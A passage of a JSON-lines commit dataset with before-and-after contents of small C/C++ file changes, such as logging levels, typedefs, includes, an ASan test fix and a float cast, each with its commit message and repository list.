{"commit":"ac19a88b463c7899f3aeffd283d0a42923449e0e","old_file":"src\/explicit_scoped_lock.h","new_file":"src\/explicit_scoped_lock.h","old_contents":"\/\/ Copyright 2014 Tanel Lebedev\n\n#ifndef SRC_EXPLICIT_SCOPED_LOCK_H_\n#define SRC_EXPLICIT_SCOPED_LOCK_H_\n\n#include <string>\n#include <sstream>\n\n#include \"Poco\/Logger.h\"\n\nnamespace kopsik {\n\nclass ExplicitScopedLock : public Poco::Mutex::ScopedLock {\n   public:\n    ExplicitScopedLock(\n      const std::string context,\n      Poco::Mutex& mutex) :\n        Poco::Mutex::ScopedLock(mutex),\n        context_(context) {\n      std::stringstream text;\n      text << context_ << \" locking\";\n      logger().debug(text.str());\n    }\n\n    ~ExplicitScopedLock() {\n      std::stringstream text;\n      text << context_ << \" unlocking\";\n      logger().debug(text.str());\n    }\n\n   private:\n    Poco::Logger &logger() { return Poco::Logger::get(\"lock\"); }\n\n    std::string context_;\n};\n\n}  \/\/ namespace kopsik\n\n#endif  \/\/ SRC_EXPLICIT_SCOPED_LOCK_H_\n","new_contents":"\/\/ Copyright 2014 Tanel Lebedev\n\n#ifndef SRC_EXPLICIT_SCOPED_LOCK_H_\n#define SRC_EXPLICIT_SCOPED_LOCK_H_\n\n#include <string>\n#include <sstream>\n\n#include \"Poco\/Logger.h\"\n\nnamespace kopsik {\n\nclass ExplicitScopedLock : public Poco::Mutex::ScopedLock {\n   public:\n    ExplicitScopedLock(\n      const std::string context,\n      Poco::Mutex& mutex) :\n        Poco::Mutex::ScopedLock(mutex),\n        context_(context) {\n      std::stringstream text;\n      text << context_ << \" locking\";\n      logger().trace(text.str());\n    }\n\n    ~ExplicitScopedLock() {\n      std::stringstream text;\n      text << context_ << \" unlocking\";\n      logger().trace(text.str());\n    }\n\n   private:\n    Poco::Logger &logger() { return Poco::Logger::get(\"lock\"); }\n\n    std::string context_;\n};\n\n}  \/\/ namespace kopsik\n\n#endif  \/\/ SRC_EXPLICIT_SCOPED_LOCK_H_\n","subject":"Print out locking\/unlocking with trace only","message":"Print out locking\/unlocking with trace only\n","lang":"C","license":"bsd-3-clause","repos":"codeman38\/toggldesktop,codeman38\/toggldesktop,codeman38\/toggldesktop,codeman38\/toggldesktop,codeman38\/toggldesktop,codeman38\/toggldesktop"}
{"commit":"0c4922becbbc8b0eb63c4a5bbb3ae4b749eccd24","old_file":"components\/libc\/compilers\/minilibc\/sys\/types.h","new_file":"components\/libc\/compilers\/minilibc\/sys\/types.h","old_contents":"#ifndef __TYPES_H__\n#define __TYPES_H__\n\ntypedef long        off_t;\ntypedef unsigned long size_t;\ntypedef signed long   ssize_t;      \/* Used for a count of bytes or an error indication. *\/\n\ntypedef unsigned char  u_char;\ntypedef unsigned short u_short;\ntypedef unsigned int   u_int;\ntypedef unsigned long  u_long;\n\ntypedef int mode_t;\n\ntypedef unsigned long clockid_t;\ntypedef int pid_t;\n\n#ifndef NULL\n#define NULL        (0)\n#endif\n\n#define __u_char_defined\n\n#endif\n\n","new_contents":"#ifndef __TYPES_H__\n#define __TYPES_H__\n\ntypedef long        off_t;\ntypedef unsigned long size_t;\ntypedef signed long   ssize_t;      \/* Used for a count of bytes or an error indication. *\/\n\ntypedef unsigned char  u_char;\ntypedef unsigned short u_short;\ntypedef unsigned int   u_int;\ntypedef unsigned long  u_long;\n\ntypedef int mode_t;\n\ntypedef unsigned long clockid_t;\ntypedef int pid_t;\n\ntypedef\tunsigned long clock_t; \/* clock() *\/\n\n#ifndef NULL\n#define NULL        (0)\n#endif\n\n#define __u_char_defined\n\n#endif\n\n","subject":"Add type 'clock_t' to minilibc.","message":"[Libc][Minilibc] Add type 'clock_t' to minilibc.\n","lang":"C","license":"apache-2.0","repos":"hezlog\/rt-thread,yongli3\/rt-thread,zhaojuntao\/rt-thread,wolfgangz2013\/rt-thread,FlyLu\/rt-thread,ArdaFu\/rt-thread,nongxiaoming\/rt-thread,weety\/rt-thread,igou\/rt-thread,weiyuliang\/rt-thread,gbcwbz\/rt-thread,hezlog\/rt-thread,hezlog\/rt-thread,RT-Thread\/rt-thread,weiyuliang\/rt-thread,igou\/rt-thread,armink\/rt-thread,nongxiaoming\/rt-thread,AubrCool\/rt-thread,weiyuliang\/rt-thread,geniusgogo\/rt-thread,gbcwbz\/rt-thread,AubrCool\/rt-thread,FlyLu\/rt-thread,armink\/rt-thread,nongxiaoming\/rt-thread,FlyLu\/rt-thread,zhaojuntao\/rt-thread,weiyuliang\/rt-thread,RT-Thread\/rt-thread,armink\/rt-thread,geniusgogo\/rt-thread,armink\/rt-thread,weety\/rt-thread,FlyLu\/rt-thread,wolfgangz2013\/rt-thread,igou\/rt-thread,zhaojuntao\/rt-thread,yongli3\/rt-thread,FlyLu\/rt-thread,RT-Thread\/rt-thread,RT-Thread\/rt-thread,yongli3\/rt-thread,geniusgogo\/rt-thread,geniusgogo\/rt-thread,wolfgangz2013\/rt-thread,AubrCool\/rt-thread,yongli3\/rt-thread,gbcwbz\/rt-thread,weiyuliang\/rt-thread,nongxiaoming\/rt-thread,yongli3\/rt-thread,weety\/rt-thread,yongli3\/rt-thread,RT-Thread\/rt-thread,igou\/rt-thread,ArdaFu\/rt-thread,igou\/rt-thread,AubrCool\/rt-thread,AubrCool\/rt-thread,weety\/rt-thread,geniusgogo\/rt-thread,hezlog\/rt-thread,hezlog\/rt-thread,nongxiaoming\/rt-thread,armink\/rt-thread,zhaojuntao\/rt-thread,zhaojuntao\/rt-thread,wolfgangz2013\/rt-thread,geniusgogo\/rt-thread,ArdaFu\/rt-thread,ArdaFu\/rt-thread,geniusgogo\/rt-thread,weiyuliang\/rt-thread,nongxiaoming\/rt-thread,gbcwbz\/rt-thread,wolfgangz2013\/rt-thread,wolfgangz2013\/rt-thread,hezlog\/rt-thread,RT-Thread\/rt-thread,zhaojuntao\/rt-thread,weety\/rt-thread,nongxiaoming\/rt-thread,gbcwbz\/rt-thread,armink\/rt-thread,ArdaFu\/rt-thread,gbcwbz\/rt-thread,zhaojuntao\/rt-thread,FlyLu\/rt-thread,AubrCool\/rt-thread,igou\/rt-thread,yongli3\/rt-thread,ArdaFu\/rt-thread,hezlog\/rt-thread,igou\/rt-thread,weety\/rt-thread,AubrCool\/rt-thread,ArdaFu\/rt-thread,weety\/rt-thread,FlyLu\/rt-thread,gbcwbz\/rt-thread,RT-Thread\/rt-thread,weiyuliang\/rt-thread,wolfgangz2013\/rt-thread,armink\/rt-thread"}
{"commit":"565744c9e3a2e91119c7ebb3d6663e0569ed94e7","old_file":"libevmjit-cpp\/JitVM.h","new_file":"libevmjit-cpp\/JitVM.h","old_contents":"#pragma once\n\n#include <libevm\/VMFace.h>\n#include <evmjit\/libevmjit\/ExecutionEngine.h>\n\nnamespace dev\n{\nnamespace eth\n{\n\nclass JitVM: public VMFace\n{\npublic:\n\tvirtual bytesConstRef execImpl(u256& io_gas, ExtVMFace& _ext, OnOpFunc const& _onOp = {}, uint64_t _steps = (uint64_t)-1) override final;\n\nprivate:\n\tjit::RuntimeData m_data;\n\tjit::ExecutionEngine m_engine;\n\tstd::unique_ptr<VMFace> m_fallbackVM; \/\/\/< VM used in case of input data rejected by JIT\n};\n\n\n}\n}\n","new_contents":"#pragma once\n\n#include <libevm\/VMFace.h>\n#include <evmjit\/libevmjit\/ExecutionEngine.h>\n\nnamespace dev\n{\nnamespace eth\n{\n\nclass JitVM: public VMFace\n{\npublic:\n\tvirtual bytesConstRef execImpl(u256& io_gas, ExtVMFace& _ext, OnOpFunc const& _onOp, uint64_t _steps) override final;\n\nprivate:\n\tjit::RuntimeData m_data;\n\tjit::ExecutionEngine m_engine;\n\tstd::unique_ptr<VMFace> m_fallbackVM; \/\/\/< VM used in case of input data rejected by JIT\n};\n\n\n}\n}\n","subject":"Change the way execution results are collected.","message":"Change the way execution results are collected.\n\nChanges handling ExecutionResult by Executive. From now execution results are collected on if a storage for results (ExecutionResult) is provided to an Executiove instance up front. This change allow better output management for calls - VM interface improved.\n","lang":"C","license":"mit","repos":"d-das\/cpp-ethereum,d-das\/cpp-ethereum,expanse-org\/cpp-expanse,karek314\/cpp-ethereum,expanse-org\/cpp-expanse,expanse-org\/cpp-expanse,vaporry\/webthree-umbrella,PaulGrey30\/go-get--u-github.com-tools-godep,johnpeter66\/ethminer,xeddmc\/cpp-ethereum,PaulGrey30\/go-get--u-github.com-tools-godep,ethers\/cpp-ethereum,ethers\/cpp-ethereum,expanse-project\/cpp-expanse,anthony-cros\/cpp-ethereum,LefterisJP\/cpp-ethereum,anthony-cros\/cpp-ethereum,expanse-project\/cpp-expanse,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,joeldo\/cpp-ethereum,karek314\/cpp-ethereum,PaulGrey30\/go-get--u-github.com-tools-godep,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,expanse-project\/cpp-expanse,Sorceror32\/go-get--u-github.com-tools-godep,PaulGrey30\/go-get--u-github.com-tools-godep,LefterisJP\/webthree-umbrella,PaulGrey30\/go-get--u-github.com-tools-godep,expanse-project\/cpp-expanse,smartbitcoin\/cpp-ethereum,Sorceror32\/go-get--u-github.com-tools-godep,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,smartbitcoin\/cpp-ethereum,yann300\/cpp-ethereum,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,eco\/cpp-ethereum,d-das\/cpp-ethereum,vaporry\/cpp-ethereum,anthony-cros\/cpp-ethereum,eco\/cpp-ethereum,smartbitcoin\/cpp-ethereum,eco\/cpp-ethereum,gluk256\/cpp-ethereum,LefterisJP\/webthree-umbrella,johnpeter66\/ethminer,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,karek314\/cpp-ethereum,eco\/cpp-ethereum,gluk256\/cpp-ethereum,PaulGrey30\/go-get--u-github.com-tools-godep,vaporry\/cpp-ethereum,joeldo\/cpp-ethereum,expanse-org\/cpp-expanse,smartbitcoin\/cpp-ethereum,xeddmc\/cpp-ethereum,yann300\/cpp-ethereum,programonauta\/webthree-umbrella,LefterisJP\/cpp-ethereum,LefterisJP\/cpp-ethereum,karek314\/cpp-ethereum,LefterisJP\/cpp-ethereum,expanse-project\/cpp-expanse,xeddmc\/cpp-ethereum,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,LefterisJP\/cpp-ethereum,d-das\/cpp-ethereum,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,yann300\/cpp-ethereum,eco\/cpp-ethereum,xeddmc\/cpp-ethereum,eco\/cpp-ethereum,johnpeter66\/ethminer,expanse-project\/cpp-expanse,joeldo\/cpp-ethereum,joeldo\/cpp-ethereum,gluk256\/cpp-ethereum,anthony-cros\/cpp-ethereum,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,LefterisJP\/cpp-ethereum,xeddmc\/cpp-ethereum,joeldo\/cpp-ethereum,d-das\/cpp-ethereum,gluk256\/cpp-ethereum,yann300\/cpp-ethereum,karek314\/cpp-ethereum,expanse-org\/cpp-expanse,gluk256\/cpp-ethereum,ethers\/cpp-ethereum,gluk256\/cpp-ethereum,joeldo\/cpp-ethereum,PaulGrey30\/.-git-clone-https-github.com-ethereum-cpp-ethereum,programonauta\/webthree-umbrella,vaporry\/cpp-ethereum,Sorceror32\/.-git-clone-https-github.com-ethereum-cpp-ethereum,xeddmc\/cpp-ethereum,yann300\/cpp-ethereum,Sorceror32\/go-get--u-github.com-tools-godep,arkpar\/webthree-umbrella,ethers\/cpp-ethereum,Sorceror32\/go-get--u-github.com-tools-godep,smartbitcoin\/cpp-ethereum,vaporry\/cpp-ethereum,anthony-cros\/cpp-ethereum,Sorceror32\/go-get--u-github.com-tools-godep,chfast\/webthree-umbrella,d-das\/cpp-ethereum,yann300\/cpp-ethereum,smartbitcoin\/cpp-ethereum,anthony-cros\/cpp-ethereum,ethers\/cpp-ethereum,expanse-org\/cpp-expanse,vaporry\/cpp-ethereum,Sorceror32\/go-get--u-github.com-tools-godep,ethers\/cpp-ethereum,vaporry\/cpp-ethereum,karek314\/cpp-ethereum"}
{"commit":"8983b37067d80a462f9ff58b04f37832d5e06365","old_file":"digital_clock.c","new_file":"digital_clock.c","old_contents":"","new_contents":"#include <wiringPi.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include \"PCD8544.h\"\n\nint pin_sclk = 4;\nint pin_din = 3;\nint pin_dc = 2;\nint pin_rst = 0;\nint pin_ce = 1;\n\n\/\/ This is already tuned\nint lcd_contrast = 60;\nchar timeString[9];\n\nvoid cleanup(void)\n{\n    pinMode(pin_sclk, INPUT);\n    pinMode(pin_din, INPUT);\n    pinMode(pin_dc, INPUT);\n    pinMode(pin_rst, INPUT);\n    pinMode(pin_ce, INPUT);\n}\n\nchar * get_time(void)\n{\n    time_t current_time;\n    struct tm * time_info;\n    time(&current_time);\n    time_info = localtime(&current_time);\n    strftime(timeString, sizeof(timeString), \"%H:%M:%S\", time_info);\n    \/\/ printf(\"%s\\n\", &timeString);\n    return &timeString;\n}\n\nint main(int argc, char const *argv[])\n{\n    printf(\"nLCD tool\\n\");\n    printf(\"Pin definations:\\n\");\n    printf(\"CLK on %i\\n\", pin_sclk);\n    printf(\"DIN on %i\\n\", pin_din);\n    printf(\"DC on %i\\n\", pin_dc);\n    printf(\"CE on %i\\n\", pin_ce);\n    printf(\"RST on %i\\n\", pin_rst);\n\n    if (wiringPiSetup() == -1)\n    {\n        printf(\"wiringPi error\\n\");\n        exit(1);\n    }\n\n    LCDInit(pin_sclk, pin_din, pin_dc, pin_ce, pin_rst, lcd_contrast);\n    LCDcommand(PCD8544_DISPLAYCONTROL | PCD8544_DISPLAYALLON);\n    LCDdisplay();\n    LCDclear();\n    LCDcommand(PCD8544_DISPLAYCONTROL | PCD8544_DISPLAYNORMAL);\n\n    while (1)\n    {\n        LCDdrawrect(6 - 1, 6 - 1, LCDWIDTH - 6, LCDHEIGHT - 6, BLACK);\n        LCDdrawstring(12, 12, get_time());\n        LCDdisplay();\n        delay(1000);\n        \/\/ LCDclear();\n    }\n\n    LCDclear();\n    cleanup();\n    return 0;\n}\n","subject":"Add simple digital clock example","message":"Add simple digital clock example\n","lang":"C","license":"lgpl-2.1","repos":"JokerQyou\/nlcd"}
{"commit":"d0a6e12ee14f1ae039a16d0f724846541a836cb5","old_file":"src\/md5.h","new_file":"src\/md5.h","old_contents":"\/**\n * Copyright (c) 2015, Chao Wang <hit9@icloud.com>\n *\n * md5 hash function.\n *\/\n\n\/*\n * This is an OpenSSL-compatible implementation of the RSA Data Security, Inc.\n * MD5 Message-Digest Algorithm (RFC 1321).\n *\n * Homepage: http:\/\/openwall.info\/wiki\/people\/solar\/software\/public-domain-source-code\/md5\n *\n * Author: Alexander Peslyak, better known as Solar Designer <solar at openwall.com>\n *\/\n\n#ifndef _CW_MD5_H\n#define _CW_MD5_H 1\n\n#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\nvoid md5_signature(unsigned char *key, unsigned long length, unsigned char *result);\nuint32_t hash_md5(const char *key, size_t key_length);\n\n#if defined(__cplusplus)\n}\n#endif\n\n#endif\n","new_contents":"\/**\n * Copyright (c) 2015, Chao Wang <hit9@icloud.com>\n *\n * md5 hash function.\n *\/\n\n\/*\n * This is an OpenSSL-compatible implementation of the RSA Data Security, Inc.\n * MD5 Message-Digest Algorithm (RFC 1321).\n *\n * Homepage: http:\/\/openwall.info\/wiki\/people\/solar\/software\/public-domain-source-code\/md5\n *\n * Author: Alexander Peslyak, better known as Solar Designer <solar at openwall.com>\n *\/\n\n#ifndef _CW_MD5_H\n#define _CW_MD5_H 1\n\n#include <stdint.h>\n\n#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\nvoid md5_signature(unsigned char *key, unsigned long length, unsigned char *result);\nuint32_t hash_md5(const char *key, size_t key_length);\n\n#if defined(__cplusplus)\n}\n#endif\n\n#endif\n","subject":"Add missing header file `stdint.h`","message":"Add missing header file `stdint.h`\n","lang":"C","license":"bsd-2-clause","repos":"hit9\/C-Snip,hit9\/C-Snip"}
{"commit":"adbab433f0df9179cd0ce060e55c5e1b3f9f094b","old_file":"src\/app\/qmlvideofilter\/QVideoFrameScopeMap.h","new_file":"src\/app\/qmlvideofilter\/QVideoFrameScopeMap.h","old_contents":"","new_contents":"#ifndef Q_VIDEO_FRAME_SCOPE_MAP \n#define Q_VIDEO_FRAME_SCOPE_MAP 1\n\n\/\/ TODO: move to QVideoFrameScope\nstruct QVideoFrameScopeMap\n{\n    QVideoFrameScopeMap(QVideoFrame *frame, QAbstractVideoBuffer::MapMode mode) : frame(frame)\n    {\n        if(frame)\n        {\n            status = frame->map(mode);\n            if (!status)\n            {\n                qWarning(\"Can't map!\");\n            }\n        }\n    }\n    ~QVideoFrameScopeMap()\n    {\n        if(frame)\n        {\n            frame->unmap();\n        }\n    }\n    operator bool() const { return status; }\n    QVideoFrame *frame = nullptr;\n    bool status = false;\n};\n\n#endif \/\/ Q_VIDEO_FRAME_SCOPE_MAP \n","subject":"Move the QVideoFrame scope lock to a header file","message":"Move the QVideoFrame scope lock to a header file\n","lang":"C","license":"bsd-3-clause","repos":"headupinclouds\/gatherer,headupinclouds\/gatherer,headupinclouds\/gatherer,headupinclouds\/gatherer"}
{"commit":"beccc92af8ff19dacd41014d016af304b25eec3d","old_file":"CNFGDriver.c","new_file":"CNFGDriver.c","old_contents":"","new_contents":"#if defined(WINDOWS) || defined(WIN32) || defined(WIN64)\n#include \"CNFGWinDriver.c\"\n#elif defined( __android__ )\n#include \"CNFGOGLEGLDriver.c\"\n#else\n#include \"CNFGXDriver.c\"\n#endif\n\n","subject":"Add feature letting you include one .c file which automatically selects the driver.","message":"Add feature letting you include one .c file which automatically selects the driver.\n","lang":"C","license":"mit","repos":"cnlohr\/rawdraw,cnlohr\/rawdraw"}
{"commit":"870a9743819096103ca7906053650009c42e2dd1","old_file":"ios\/RNTrackPlayer\/Support\/RNTrackPlayer-Bridging-Header.h","new_file":"ios\/RNTrackPlayer\/Support\/RNTrackPlayer-Bridging-Header.h","old_contents":"\/\/\n\/\/  Use this file to import your target's public headers that you would like to expose to Swift.\n\/\/\n\n#import \"STKAudioPlayer.h\"\n","new_contents":"\/\/\n\/\/  Use this file to import your target's public headers that you would like to expose to Swift.\n\/\/\n","subject":"Remove old audio player header","message":"[ios] Remove old audio player header\n","lang":"C","license":"apache-2.0","repos":"react-native-kit\/react-native-track-player,react-native-kit\/react-native-track-player,react-native-kit\/react-native-track-player,react-native-kit\/react-native-track-player,react-native-kit\/react-native-track-player"}
{"commit":"649203faa3438601081fa5ade1fc00d0d92bda88","old_file":"test\/asan\/TestCases\/Darwin\/segv_read_write.c","new_file":"test\/asan\/TestCases\/Darwin\/segv_read_write.c","old_contents":"\/\/ RUN: %clangxx_asan -std=c++11 -O0 %s -o %t\n\/\/ RUN: not %run %t       2>&1 | FileCheck %s --check-prefix=READ\n\/\/ RUN: not %run %t write 2>&1 | FileCheck %s --check-prefix=WRITE\n\/\/ REQUIRES: x86-target-arch\n\n#include <sys\/mman.h>\n\nstatic volatile int sink;\n__attribute__((noinline)) void Read(int *ptr) { sink = *ptr; }\n__attribute__((noinline)) void Write(int *ptr) { *ptr = 0; }\nint main(int argc, char **argv) {\n  \/\/ Writes to shadow are detected as reads from shadow gap (because of how the\n  \/\/ shadow mapping works). This is kinda hard to fix. Test a random address in\n  \/\/ the application part of the address space.\n  void *volatile p =\n      mmap(nullptr, 4096, PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);\n  munmap(p, 4096);\n  if (argc == 1)\n    Read((int *)p);\n  else\n    Write((int *)p);\n}\n\/\/ READ: AddressSanitizer: SEGV on unknown address\n\/\/ READ: The signal is caused by a READ memory access.\n\/\/ WRITE: AddressSanitizer: SEGV on unknown address\n\/\/ WRITE: The signal is caused by a WRITE memory access.\n","new_contents":"\/\/ RUN: %clangxx_asan -std=c++11 -O0 %s -o %t\n\/\/ RUN: not %run %t       2>&1 | FileCheck %s --check-prefix=READ\n\/\/ RUN: not %run %t write 2>&1 | FileCheck %s --check-prefix=WRITE\n\/\/ REQUIRES: x86-target-arch\n\n#include <sys\/mman.h>\n\nstatic volatile int sink;\n__attribute__((noinline)) void Read(int *ptr) { sink = *ptr; }\n__attribute__((noinline)) void Write(int *ptr) { *ptr = 0; }\nint main(int argc, char **argv) {\n  \/\/ Writes to shadow are detected as reads from shadow gap (because of how the\n  \/\/ shadow mapping works). This is kinda hard to fix. Test a random address in\n  \/\/ the application part of the address space.\n  void *volatile p =\n      mmap(nullptr, 4096, PROT_READ, MAP_PRIVATE | MAP_ANON, 0, 0);\n  munmap(p, 4096);\n  if (argc == 1)\n    Read((int *)p);\n  else\n    Write((int *)p);\n}\n\/\/ READ: AddressSanitizer: SEGV on unknown address\n\/\/ READ: The signal is caused by a READ memory access.\n\/\/ WRITE: AddressSanitizer: SEGV on unknown address\n\/\/ WRITE: The signal is caused by a WRITE memory access.\n","subject":"Update a test case to work with old Darwin SDK's","message":"[test\/asan] Update a test case to work with old Darwin SDK's\n\nOn Darwin, MAP_ANONYMOUS is a synonym for MAP_ANON. However, some SDK's\ndon't define MAP_ANONYMOUS. Use MAP_ANON to work around this.\n\n(As a point of interest, the situation is exactly reversed on Linux.)\n\ngit-svn-id: c199f293c43da69278bea8e88f92242bf3aa95f7@267907 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt"}
{"commit":"695404f5a490c36741886aefbc9fb076bc0e058d","old_file":"samples\/Demo\/Customer.h","new_file":"samples\/Demo\/Customer.h","old_contents":"﻿#pragma once\n#include <string>\n#include <iostream>\n\nstruct Customer\n{\n    int id;\n    std::string name;\n};\n\ninline std::ostream& operator<<(std::ostream& os, const Customer& obj)\n{\n    os << \"Customer (id: \" << obj.id << \", name: \" << obj.name << \")\";\n    return os;\n}","new_contents":"﻿#pragma once\n#include <string>\n#include <iostream>\n\nstruct Customer\n{\n    int id;\n    std::string name;\n};\n\ninline std::ostream& operator<<(std::ostream& os, const Customer& obj)\n{\n    os << \"Customer (id: \" << obj.id << \", name: \" << obj.name << \")\";\n    return os;\n}\n","subject":"Add a new line to satisfy clang.","message":"Add a new line to satisfy clang.\n","lang":"C","license":"mit","repos":"SergiusTheBest\/plog,SergiusTheBest\/plog"}
{"commit":"b2e29064ae246c4d8bbcd80434477b97d5c47be0","old_file":"lib\/libxpg4\/fakelib.c","new_file":"lib\/libxpg4\/fakelib.c","old_contents":"\/* $FreeBSD$ *\/\nstatic int ___fake_library___;\n","new_contents":"\/* $FreeBSD$ *\/\n\n\/* libxpg4 is obsolete in FreeBSD 6 -- library has been merged into libc. *\/\n#define\tOBSOLETE_IN_6\n\n#include <sys\/param.h>\n\nstatic int ___fake_library___;\n","subject":"Mark libxpg4 as OBSOLETE_IN_6: it has been empty since its contents were merged into libc in 4.5-RELEASE.","message":"Mark libxpg4 as OBSOLETE_IN_6: it has been empty since its contents\nwere merged into libc in 4.5-RELEASE.\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"188806ede0679466bb5890f3ec1b52736d7ccc49","old_file":"Wikipedia\/Code\/WKScriptMessage+WMFScriptMessage.h","new_file":"Wikipedia\/Code\/WKScriptMessage+WMFScriptMessage.h","old_contents":"#import <WebKit\/WebKit.h>\n\ntypedef NS_ENUM (NSInteger, WMFWKScriptMessageType) {\n    WMFWKScriptMessagePeek,\n    WMFWKScriptMessageConsoleMessage,\n    WMFWKScriptMessageClickLink,\n    WMFWKScriptMessageClickImage,\n    WMFWKScriptMessageClickReference,\n    WMFWKScriptMessageClickEdit,\n    WMFWKScriptMessageNonAnchorTouchEndedWithoutDragging,\n    WMFWKScriptMessageLateJavascriptTransform,\n    WMFWKScriptMessageArticleState,\n    WMFWKScriptMessageUnknown\n};\n\n@interface WKScriptMessage (WMFScriptMessage)\n\n+ (WMFWKScriptMessageType)wmf_typeForMessageName:(NSString*)name;\n+ (Class)wmf_expectedMessageBodyClassForType:(WMFWKScriptMessageType)type;\n\n@end\n","new_contents":"#import <WebKit\/WebKit.h>\n\ntypedef NS_ENUM (NSInteger, WMFWKScriptMessageType) {\n    WMFWKScriptMessageUnknown,\n    WMFWKScriptMessagePeek,\n    WMFWKScriptMessageConsoleMessage,\n    WMFWKScriptMessageClickLink,\n    WMFWKScriptMessageClickImage,\n    WMFWKScriptMessageClickReference,\n    WMFWKScriptMessageClickEdit,\n    WMFWKScriptMessageNonAnchorTouchEndedWithoutDragging,\n    WMFWKScriptMessageLateJavascriptTransform,\n    WMFWKScriptMessageArticleState\n};\n\n@interface WKScriptMessage (WMFScriptMessage)\n\n+ (WMFWKScriptMessageType)wmf_typeForMessageName:(NSString*)name;\n+ (Class)wmf_expectedMessageBodyClassForType:(WMFWKScriptMessageType)type;\n\n@end\n","subject":"Move unknown enum entry to top.","message":"Move unknown enum entry to top.\n","lang":"C","license":"mit","repos":"anirudh24seven\/wikipedia-ios,julienbodet\/wikipedia-ios,wikimedia\/wikipedia-ios,montehurd\/apps-ios-wikipedia,josve05a\/wikipedia-ios,julienbodet\/wikipedia-ios,julienbodet\/wikipedia-ios,anirudh24seven\/wikipedia-ios,julienbodet\/wikipedia-ios,montehurd\/apps-ios-wikipedia,wikimedia\/wikipedia-ios,anirudh24seven\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,wikimedia\/apps-ios-wikipedia,montehurd\/apps-ios-wikipedia,montehurd\/apps-ios-wikipedia,anirudh24seven\/wikipedia-ios,wikimedia\/wikipedia-ios,anirudh24seven\/wikipedia-ios,montehurd\/apps-ios-wikipedia,julienbodet\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,anirudh24seven\/wikipedia-ios,josve05a\/wikipedia-ios,julienbodet\/wikipedia-ios,montehurd\/apps-ios-wikipedia,josve05a\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,wikimedia\/apps-ios-wikipedia,julienbodet\/wikipedia-ios,julienbodet\/wikipedia-ios,anirudh24seven\/wikipedia-ios,josve05a\/wikipedia-ios,wikimedia\/wikipedia-ios,montehurd\/apps-ios-wikipedia,josve05a\/wikipedia-ios,wikimedia\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,wikimedia\/apps-ios-wikipedia,josve05a\/wikipedia-ios,josve05a\/wikipedia-ios,montehurd\/apps-ios-wikipedia,josve05a\/wikipedia-ios,anirudh24seven\/wikipedia-ios,wikimedia\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,wikimedia\/wikipedia-ios"}
{"commit":"1c4506e41bdaea86881bca3ee3e3100e2f0e7bcb","old_file":"src\/utils\/random.c","new_file":"src\/utils\/random.c","old_contents":"#include <limits.h>\n#include \"utils\/random.h\"\n\n\/\/ A simple psuedorandom number generator\n\nstatic struct random_t rand_state = { 1 };\n\nvoid random_seed(struct random_t *r, uint32_t seed) {\n    r->seed = seed;\n}\n\nuint32_t random_get_seed(struct random_t *r) {\n    return r->seed;\n}\n\nuint32_t random_int(struct random_t *r, uint32_t upperbound) {\n    return random_intmax(r) % upperbound;\n}\n\nuint32_t random_intmax(struct random_t *r) {\n    r->seed = r->seed * 1664525 + 1013904223;\n    return r->seed;\n}\n\nfloat random_float(struct random_t *r) {\n    return (float)random_intmax(r) \/ UINT_MAX;\n}\n\nvoid rand_seed(uint32_t seed) { random_seed(&rand_state, seed); }\nuint32_t rand_get_seed(void) { return random_get_seed(&rand_state); }\nuint32_t rand_int(uint32_t upperbound) { return random_int(&rand_state, upperbound); }\nuint32_t rand_intmax(void) { return random_intmax(&rand_state);  }\nfloat rand_float(void) { return random_float(&rand_state); }\n","new_contents":"#include <limits.h>\n#include \"utils\/random.h\"\n\n\/\/ A simple psuedorandom number generator\n\nstatic struct random_t rand_state = { 1 };\n\nvoid random_seed(struct random_t *r, uint32_t seed) {\n    r->seed = seed;\n}\n\nuint32_t random_get_seed(struct random_t *r) {\n    return r->seed;\n}\n\nuint32_t random_int(struct random_t *r, uint32_t upperbound) {\n    return random_intmax(r) % upperbound;\n}\n\nuint32_t random_intmax(struct random_t *r) {\n    r->seed = r->seed * 1664525 + 1013904223;\n    return r->seed;\n}\n\nfloat random_float(struct random_t *r) {\n    return (float)random_intmax(r) \/ (float)UINT_MAX;\n}\n\nvoid rand_seed(uint32_t seed) { random_seed(&rand_state, seed); }\nuint32_t rand_get_seed(void) { return random_get_seed(&rand_state); }\nuint32_t rand_int(uint32_t upperbound) { return random_int(&rand_state, upperbound); }\nuint32_t rand_intmax(void) { return random_intmax(&rand_state);  }\nfloat rand_float(void) { return random_float(&rand_state); }\n","subject":"Fix build warning with clang 10.0.1","message":"utils: Fix build warning with clang 10.0.1\n\n---\n\/[...]\/openomf\/src\/utils\/random.c:26:38: warning: implicit conversion from 'unsigned int' to 'float' changes value from 4294967295 to 4294967296 [-Wimplicit-int-float-conversion]\n    return (float)random_intmax(r) \/ UINT_MAX;\n                                   ~ ^~~~~~~~\n\/usr\/lib64\/clang\/10.0.1\/include\/limits.h:56:37: note: expanded from macro 'UINT_MAX'\n                   